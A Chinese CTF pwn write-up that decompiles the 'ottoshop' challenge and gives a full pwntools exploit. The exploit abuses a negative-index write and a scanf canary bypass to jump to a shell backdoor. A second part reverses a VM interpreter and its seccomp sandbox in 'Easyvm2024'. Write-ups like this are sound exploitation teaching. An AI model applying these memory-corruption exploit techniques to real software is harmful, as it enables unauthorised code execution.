pwn
ottoshop
ida显示有些奇怪,修了一下,程序的逻辑是这样的,程序里还有一个backdoor,通过buy中的下界溢出去写binsh字符串,然后golden中的 scanf去写返回地址为backdoor就好了,scanf 如果输入数据的类型和formatstrings不匹配就不会写入数据,通过这种方式去绕过canary
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3;
int v4;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v3 = time(0LL);
srand(v3);
puts("Welcome to miniL pwn checkin!");
puts("Here,a ♿ shop,have some magic ♿ for u ~");
puts("u have 50 ottobucks to buy No.1-No.255 ♿!");
while ( 1 )
{
do
{
while ( 1 )
{
menu();
scanf();
if ( v4 != 666 )
break;
puts("u find it!");
ottoottootto();
}
}
while ( v4 > 666 );
if ( v4 == 4 )
{
check();
}
else if ( v4 <= 4 )
{
switch ( v4 )
{
case 3:
Golden();
break;
case 1:
buy();
break;
case 2:
change();
break;
}
}
}
}
unsigned __int64 buy()
{
int a;
unsigned __int64 v2;
v2 = __readfsqword(0x28u);
a = 0;
if ( money > 0 )
{
puts("which ♿ ?");
scanf("%d", (int)&a);
wheelchair[a] = 666;
if ( a > 255 )
{
puts("? fxxk u!");
exit(1);
}
puts("Give your ♿ a name!");
read(0, (char *)&name + 4 * a, 4uLL);
--money;
}
else
{
puts("NONONO..");
}
return v2 - __readfsqword(0x28u);
}
unsigned __int64 Golden()
{
int a;
int i;
char v3[8];
unsigned __int64 v4;
v4 = __readfsqword(0x28u);
a = 0;
if ( gold != 1 )
{
puts("NONONONO..");
exit(1);
}
puts("Here are only 5 golden ♿..");
puts("How many golden ♿ u want to buy?");
scanf("%d", (int)&a);
if ( a > 5 )
{
puts("U R Greedy!");
exit(1);
}
for ( i = 0; i < a; ++i )
{
if ( money <= 14 )
{
puts("nononono..");
return v4 - __readfsqword(0x28u);
}
puts(aUCanGiveYourGo);
scanf("%ld", (int)&v3[8 * i]);
money -= 15;
}
return v4 - __readfsqword(0x28u);
}
exp
from pwn import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./ottoshop')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def buy(idx,content):
sla('5.exit\n',b'1')
sl(str(idx))
sa("name!",content)
p = connect()
backdoor = 0x402128
buy(-90,p32(0x10000))
buy(-92,p32(0x6e69622f))
buy(-91,p32(0x0068732f))
sla(b'5.exit\n',"666")
sa(b'find it!\n',b'\n')
sla(b'5.exit\n',"3")
sla(b'want to buy?\n',"4")
for i in range(3):
sla(b'passwd!',b'-')
sla(b'passwd!',str(backdoor).encode())
p.interactive()
game
啊这,这个game太抽象了一点都不好玩,不复现了
Easyvm2024
第一次做vmpwn相关的题目,去了解了一下vmpwn相对ctf re方向的虚拟机逆向来说,除了要识别 虚拟机中的 寄存器 堆栈,有哪些Instruct handler外,还需要去分析Instruct handler有什么漏洞,构造一些输入去触发这些漏洞,程序的逻辑大概是这样的
先mmap出来两个内存段,然后read opcode to memory,之后init_sandbox,start_vm这个函数开始处理opcode。
void __fastcall main(__int64 a1, char a2)
{
int v2;
int v3;
int v4;
int v5;
int v6;
int v7;
int v8;
int v9;
unsigned int v10;
int v11;
int v12;
Virtual_machine v13;
unsigned __int64 v14;
v14 = __readfsqword(0x28u);
setvbuf(off_4E4958, 0LL, 2LL, 0LL);
setvbuf(off_4E4950, 0LL, 2LL, 0LL);
setvbuf(off_4E4948, 0LL, 2LL, 0LL);
if ( !(unsigned int)init_memory(&v13) && !(unsigned int)read_data_to_memory((__int64)&v13, 0x1000uLL, v2, v3, v4, v5) )
{
puts("VM code received:\n-------------------------------------------");
v10 = 0;
v11 = 1;
v12 = 1;
while ( v10 <= 0xFFF )
{
if ( v12 )
{
v9 = v11++;
printf((unsigned int)"%03u: ", v9, v11, v6, v7, v8);
v12 = 0;
}
if ( *(_BYTE *)(v13.input_data_addr + v10) == 10 )
v12 = 1;
if ( !*(_BYTE *)(v13.input_data_addr + v10) )
break;
putchar(*(unsigned __int8 *)(v13.input_data_addr + v10++));
}
puts("\n-------------------------------------------");
if ( (unsigned int)init_sandbox() )
perror("sandbox failed");
else
start_vm(&v13);
}
}
__int64 __fastcall init_memory(_QWORD *a1)
{
__int64 v2;
__int64 v3;
v2 = mmap64(0LL, 4096LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
v3 = mmap64(539230208LL, 12288LL, 3LL, 34LL, 0xFFFFFFFFLL, 0LL);
j_memset_ifunc(a1, 0LL, 104LL);
a1[11] = v2;
a1[12] = v3;
if ( a1[11] && a1[12] )
{
j_memset_ifunc(a1[11], 0LL, 4096LL);
j_memset_ifunc(a1[12], 0LL, 12288LL);
a1[6] = -1LL;
return 0LL;
}
else
{
perror("mmap failed");
return 0xFFFFFFFFLL;
}
}
__int64 __fastcall read_data_to_memory(__int64 a1, unsigned __int64 a2, int a3, int a4, int a5, int a6)
{
unsigned __int64 i;
__int64 v8;
printf((unsigned int)"Please input your code (max: %d), end with EOF:\n", 4096, a3, a4, a5, a6);
if ( !*(_QWORD *)(a1 + 88) )
return 0xFFFFFFFFLL;
for ( i = 0LL; ; i += v8 )
{
if ( i >= a2 )
{
puts("Damn, too large!");
return 0xFFFFFFFFLL;
}
v8 = read(0LL, i + *(_QWORD *)(a1 + 88), a2 - i);
if ( !v8 )
break;
}
if ( i )
{
*(_BYTE *)(*(_QWORD *)(a1 + 88) + i) = 0;
return 0LL;
}
else
{
puts("Hold on, no code!");
return 0xFFFFFFFFLL;
}
}
__int64 init_sandbox()
{
int v1;
int v2;
int v3;
int v4;
int v5;
int v6;
int v7;
int v8;
int v9;
int v10;
int v11;
int v12;
int v13;
int v14;
int v15;
int v16;
int v17;
int v18;
int v19;
int v20;
int v21;
int v22;
int v23;
int v24;
int v25;
int v26;
int v27;
int v28;
int v29;
int v30;
int v31;
int v32;
int v33;
int v34;
char v35;
char v36;
char v37;
char v38;
char v39;
char v40;
char v41;
char v42;
char v43;
char v44;
char v45;
char v46;
char v47;
char v48;
char v49;
char v50;
char v51;
int v52;
__int64 v53;
int v54;
int v55;
int v56;
int v57;
int v58;
int v59;
int v60;
int v61;
int v62;
int v63;
int v64;
int v65;
int v66;
int v67;
int v68;
__int64 v69;
v52 = open64("/dev/null", 0, v35);
if ( v52 < 0 )
return 0xFFFFFFFFLL;
if ( (int)madvise_1((unsigned int)v52, 0LL) < 0 )
return 0xFFFFFFFFLL;
close((unsigned int)v52);
v53 = seccomp_init(2147418112LL);
if ( !v53 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v53, 0, 59, 0, v1, v2, v36, v53) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v54, 0, 322, 0, v3, v4, v37, v54) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v55, 0, 57, 0, v5, v6, v38, v55) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v56, 0, 56, 0, v7, v8, v39, v56) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v57, 0, 435, 0, v9, v10, v40, v57) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v58, 0, 58, 0, v11, v12, v41, v58) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v59, 0, 62, 0, v13, v14, v42, v59) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v60, 0, 9, 0, v15, v16, v43, v60) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v61, 0, 11, 0, v17, v18, v44, v61) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v62, 0, 317, 0, v19, v20, v45, v62) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v63, 0, 157, 0, v21, v22, v46, v63) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v64, 0, 257, 0, v23, v24, v47, v64) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v65, 0, 85, 0, v25, v26, v48, v65) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v66, 0, 87, 0, v27, v28, v49, v66) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v67, 0, 86, 0, v29, v30, v50, v67) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v68, 0, 90, 0, v31, v32, v51, v68) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_rule_add_exact(v69, 0, 2, 1, v33, v34, 1, 0) < 0 )
return 0xFFFFFFFFLL;
if ( (int)seccomp_load(v69) >= 0 )
return 0LL;
return 0xFFFFFFFFLL;
}
这里read相关的这个函数处理的逻辑很奇怪,只有read的返回值为0才会往下走,搜索了一下 read只有读到一个eof才会返回0,因为这里read的逻辑,seccomp_tools 识别不出来沙箱的规则,所以需要使用ida去patch一下程序,在main函数的入口那 patch这样的逻辑
mov r15,seccomp_init_function_addr
call r15
seccomp_init_function:
jmp main_end
让程序一运行就把seccomp_init走一遍就能把沙箱的逻辑识别出来了,execve execveat被禁用了,有对x32 abi之类的使用做限制,大概率要打orw了
通过分析start_vm的逻辑和动调 尝试对start_vm做一些修复,重命名:
可以得知有 六个通用寄存器 名字分别是 REG0 - REG5 有一个PC寄存器 和一个flag寄存器
大概是这样一个结构体
00000000 Virtual_machine struc ; (sizeof=0x60, mappedto_18)
00000000 register0 dq ?
00000008 register1 dq ?
00000010 register2 dq ?
00000018 register3 dq ?
00000020 register4 dq ?
00000028 register5 dq ?
00000030 unknow1 dq ?
00000038 flags_register dq ?
00000040 Instruction_type dq ?
00000048 pc_register dq ?
00000050 error_code dq ?
00000058 input_data_addr dq ?
00000060 Virtual_machine ends
重命名后的伪代码
__int64 __fastcall start_vm(Virtual_machine *virtual_machine)
{
__int64 pc_register;
__int64 v2;
__int64 v3;
__int64 input_data_addr;
__int64 v5;
char v6;
unsigned __int64 v7;
__int64 v8;
__int64 v9;
char v10;
unsigned __int64 v11;
__int64 v12;
__int64 v13;
char v14;
unsigned __int64 v15;
int v17;
int v18;
int v19;
int v20;
__int64 v21;
int v22;
int v23;
int v24;
int v25;
int v26;
int v27;
int v28;
int v29;
int v30;
int v31;
int v32;
int v33;
int v34;
int v35;
int v36;
int v37;
int v38;
int v39;
int v40;
int v41;
int v42;
int v43;
int v44;
int v45;
int v46;
int v47;
int v48;
int v49;
int v50;
int v51;
int i;
__int64 v53;
unsigned __int64 v54;
unsigned __int64 v55;
unsigned __int64 v56;
unsigned __int64 Instruction_only_one_operand__first_operand_len;
unsigned __int64 Instruction_only_two_operand__first_operand_len;
unsigned __int64 Instruction_only_two_operand__second_operand_len;
unsigned __int64 v60;
unsigned __int64 v61;
unsigned __int64 v62;
unsigned __int64 v63;
unsigned __int64 v64;
unsigned __int64 v65;
unsigned __int64 v66;
unsigned __int64 v67;
unsigned __int64 v68;
unsigned __int64 v69;
unsigned __int64 v70;
unsigned __int64 v71;
unsigned __int64 v72;
unsigned __int64 v73;
unsigned __int64 v74;
unsigned __int64 v75;
unsigned __int64 v76;
unsigned __int64 v77;
unsigned __int64 v78;
unsigned __int64 v79;
unsigned __int64 v80;
unsigned __int64 v81;
unsigned __int64 v82;
unsigned __int64 v83;
__int64 *v84;
__int64 v85[4];
__int64 v86[7];
v86[5] = __readfsqword(0x28u);
v53 = 0LL;
memset(v85, 0, sizeof(v85));
memset(v86, 0, 32);
LABEL_193:
while ( virtual_machine->pc_register <= 0xFFFuLL )
{
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t'
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\n'
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\r')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
++virtual_machine->pc_register;
for ( i = 0; (&instruction_list)[3 * i]; ++i )
{
pc_register = virtual_machine->pc_register;
if ( (unsigned __int64)(pc_register + j_wcsncmp_ifunc((&instruction_list)[3 * i])) <= 0xFFF )
{
v2 = j_wcsncmp_ifunc((&instruction_list)[3 * i]);
if ( !(unsigned int)j_strncmp_ifunc(
virtual_machine->pc_register + virtual_machine->input_data_addr,
(&instruction_list)[3 * i],
v2) )
{
virtual_machine->Instruction_type = (__int64)(&instruction_list)[3 * i + 1];
v3 = virtual_machine->pc_register;
virtual_machine->pc_register = v3 + j_wcsncmp_ifunc((&instruction_list)[3 * i]);
break;
}
virtual_machine->Instruction_type = 20LL;
}
}
if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)1 )
{
j_memset_ifunc(v85, 0LL, 32LL);
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
++virtual_machine->pc_register;
for ( Instruction_only_one_operand__first_operand_len = 0LL;
*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& Instruction_only_one_operand__first_operand_len <= 0x1E
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n';
++Instruction_only_one_operand__first_operand_len )
{
input_data_addr = virtual_machine->input_data_addr;
v5 = virtual_machine->pc_register;
virtual_machine->pc_register = v5 + 1;
v6 = *(_BYTE *)(input_data_addr + v5);
v7 = Instruction_only_one_operand__first_operand_len;
*((_BYTE *)v85 + v7) = v6;
}
*((_BYTE *)v85 + Instruction_only_one_operand__first_operand_len) = 0;
if ( !Instruction_only_one_operand__first_operand_len )
goto Error_about_Miss_oprand;
}
else if ( (&instruction_list)[3 * virtual_machine->Instruction_type + 2] == (char *)2 )
{
j_memset_ifunc(v85, 0LL, 32LL);
j_memset_ifunc(v86, 0LL, 32LL);
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
++virtual_machine->pc_register;
Instruction_only_two_operand__first_operand_len = 0LL;
while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& Instruction_only_two_operand__first_operand_len <= 0x1E
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
{
v8 = virtual_machine->input_data_addr;
v9 = virtual_machine->pc_register;
virtual_machine->pc_register = v9 + 1;
v10 = *(_BYTE *)(v8 + v9);
v11 = Instruction_only_two_operand__first_operand_len++;
*((_BYTE *)v85 + v11) = v10;
}
*((_BYTE *)v85 + Instruction_only_two_operand__first_operand_len) = 0;
if ( !Instruction_only_two_operand__first_operand_len )
goto Error_about_Miss_oprand;
while ( (*(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == ' '
|| *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) == '\t')
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
++virtual_machine->pc_register;
Instruction_only_two_operand__second_operand_len = 0LL;
while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != ' '
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\t'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF
&& Instruction_only_two_operand__second_operand_len <= 0x1E
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\r'
&& *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n' )
{
v12 = virtual_machine->input_data_addr;
v13 = virtual_machine->pc_register;
virtual_machine->pc_register = v13 + 1;
v14 = *(_BYTE *)(v12 + v13);
v15 = Instruction_only_two_operand__second_operand_len++;
*((_BYTE *)v86 + v15) = v14;
}
*((_BYTE *)v86 + Instruction_only_two_operand__second_operand_len) = 0;
if ( !Instruction_only_two_operand__second_operand_len )
{
Error_about_Miss_oprand:
virtual_machine->error_code = 2LL;
puts("ERROR: Miss oprand!");
return virtual_machine->error_code;
}
}
while ( *(_BYTE *)(virtual_machine->input_data_addr + virtual_machine->pc_register) != '\n'
&& (unsigned __int64)(virtual_machine->pc_register + 1) <= 0xFFF )
++virtual_machine->pc_register;
++virtual_machine->pc_register;
switch ( virtual_machine->Instruction_type )
{
case 0LL:
goto LABEL_193;
case 1LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v60 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v60 > 5 )
goto Error_about_invalid_register;
v84 = (__int64 *)atoi(v86, 0LL, 16LL);
if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
goto Error_about_invalid_address;
if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
goto LABEL_76;
*(&virtual_machine->register0 + v60) = *v84;
goto LABEL_193;
case 2LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v74 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v74 > 5 )
goto Error_about_invalid_register;
v84 = (__int64 *)atoi(v86, 0LL, 16LL);
if ( (unsigned __int64)v84 <= 0x2023FFFF || (unsigned __int64)v84 > 0x20242FFF )
{
Error_about_invalid_address:
virtual_machine->error_code = 4LL;
printf((unsigned int)"ERROR: Invalid address: %#lx!\n", (_DWORD)v84, v17, v18, v19, v20);
return virtual_machine->error_code;
}
if ( (unsigned __int64)(v84 + 1) > 0x20242FFF )
{
LABEL_76:
virtual_machine->error_code = 4LL;
printf((unsigned int)"ERROR: Invalid memory access: %lx!\n", (_DWORD)v84, v17, v18, v19, v20);
return virtual_machine->error_code;
}
*v84 = *(&virtual_machine->register0 + v74);
goto LABEL_193;
case 3LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v61 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v61 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v75 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v75 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v61) = *(&virtual_machine->register0 + v75);
goto LABEL_193;
case 4LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v62 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v62 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v76 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v76 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v62) += *(&virtual_machine->register0 + v76);
goto LABEL_193;
case 5LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v63 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v63 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v77 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v77 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v63) -= *(&virtual_machine->register0 + v77);
goto LABEL_193;
case 6LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v64 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v64 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v78 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v78 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v64) *= *(&virtual_machine->register0 + v78);
goto LABEL_193;
case 7LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v65 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v65 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v79 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v79 > 5 )
goto Error_about_invalid_register;
if ( !*(&virtual_machine->register0 + v79) )
{
virtual_machine->error_code = 5LL;
puts("ERROR: Divide by zero!");
return virtual_machine->error_code;
}
*(&virtual_machine->register0 + v65) /= (unsigned __int64)*(&virtual_machine->register0 + v79);
goto LABEL_193;
case 8LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v66 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v66 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v80 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v80 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v66) &= *(&virtual_machine->register0 + v80);
goto LABEL_193;
case 9LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v67 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v67 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v81 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v81 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v67) |= *(&virtual_machine->register0 + v81);
goto LABEL_193;
case 0xALL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v68 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v68 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v82 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v82 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v68) ^= *(&virtual_machine->register0 + v82);
goto LABEL_193;
case 0xBLL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v69 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v69 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v69) = ~*(&virtual_machine->register0 + v69);
goto LABEL_193;
case 0xCLL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v70 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v70 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v70) <<= atoi(v86, 0LL, 16LL);
goto LABEL_193;
case 0xDLL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v71 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v71 > 5 )
goto Error_about_invalid_register;
*(&virtual_machine->register0 + v71) = (unsigned __int64)*(&virtual_machine->register0 + v71) >> atoi(v86, 0LL, 16LL);
goto LABEL_193;
case 0xELL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
goto Error_about_invalid_register;
v72 = atoi((char *)v85 + 3, 0LL, 10LL);
if ( v72 > 5 )
goto Error_about_invalid_register;
if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
goto Error_about_invalid_register;
v83 = atoi((char *)v86 + 3, 0LL, 10LL);
if ( v83 > 5 )
goto Error_about_invalid_register;
if ( *(&virtual_machine->register0 + v72) == *(&virtual_machine->register0 + v83) )
{
virtual_machine->flags_register = 0LL;
}
else if ( *(&virtual_machine->register0 + v72) <= (unsigned __int64)*(&virtual_machine->register0 + v83) )
{
virtual_machine->flags_register = 2LL;
}
else
{
virtual_machine->flags_register = 1LL;
}
goto LABEL_193;
case 0xFLL:
v54 = atoi(v85, 0LL, 10LL);
goto LABEL_168;
case 0x10LL:
v54 = atoi(v85, 0LL, 10LL);
if ( virtual_machine->flags_register )
goto LABEL_193;
goto LABEL_168;
case 0x11LL:
v54 = atoi(v85, 0LL, 10LL);
if ( !virtual_machine->flags_register )
goto LABEL_193;
LABEL_168:
if ( !v54 || v54 > 0xFFF )
goto LABEL_179;
v55 = 0LL;
v56 = v54;
while ( 2 )
{
if ( v55 <= 0xFFF )
{
if ( v56 != 1 )
{
v21 = virtual_machine->input_data_addr;
if ( *(_BYTE *)(v21 + v55) == 10 )
--v56;
++v55;
continue;
}
LODWORD(v21) = v55;
virtual_machine->pc_register = v55;
}
break;
}
if ( v56 == 1 )
goto LABEL_193;
LABEL_179:
virtual_machine->error_code = 4LL;
printf((unsigned int)"ERROR: Invalid jmp line: %ld!\n", v54, v21, v22, v23, v24);
return virtual_machine->error_code;
case 0x12LL:
if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) || (v73 = atoi((char *)v85 + 3, 0LL, 10LL), v73 > 5) )
{
Error_about_invalid_register:
virtual_machine->error_code = 3LL;
puts("ERROR: Invalid register!");
return virtual_machine->error_code;
}
*(&virtual_machine->register0 + v73) = atoi(v86, 0LL, 16LL);
break;
case 0x13LL:
if ( v53 )
{
virtual_machine->error_code = 6LL;
puts("ERROR: Syscall limit reached!");
return virtual_machine->error_code;
}
virtual_machine->unknow1 = atoi(v85, 0LL, 16LL);
v53 = 1LL;
virtual_machine->register0 = syscall(
virtual_machine->unknow1,
virtual_machine->register0,
virtual_machine->register1,
virtual_machine->register2,
virtual_machine->register3,
virtual_machine->register4,
virtual_machine->register5);
virtual_machine->unknow1 = -1LL;
goto LABEL_193;
case 0x14LL:
puts("------------------vmstate------------------");
printf(
(unsigned int)"pc: %#lx flags: %lx\n",
virtual_machine->pc_register,
virtual_machine->flags_register,
v25,
v26,
v27);
printf((unsigned int)"reg0: %#lx\n", virtual_machine->register0, v28, v29, v30, v31);
printf((unsigned int)"reg1: %#lx\n", virtual_machine->register1, v32, v33, v34, v35);
printf((unsigned int)"reg2: %#lx\n", virtual_machine->register2, v36, v37, v38, v39);
printf((unsigned int)"reg3: %#lx\n", virtual_machine->register3, v40, v41, v42, v43);
printf((unsigned int)"reg4: %#lx\n", virtual_machine->register4, v44, v45, v46, v47);
printf((unsigned int)"reg5: %#lx\n", virtual_machine->register5, v48, v49, v50, v51);
puts("-------------------------------------------");
virtual_machine->error_code = 0LL;
return virtual_machine->error_code;
default:
virtual_machine->error_code = 1LL;
puts("ERROR: Unknown opcode!");
return virtual_machine->error_code;
}
}
return 0LL;
}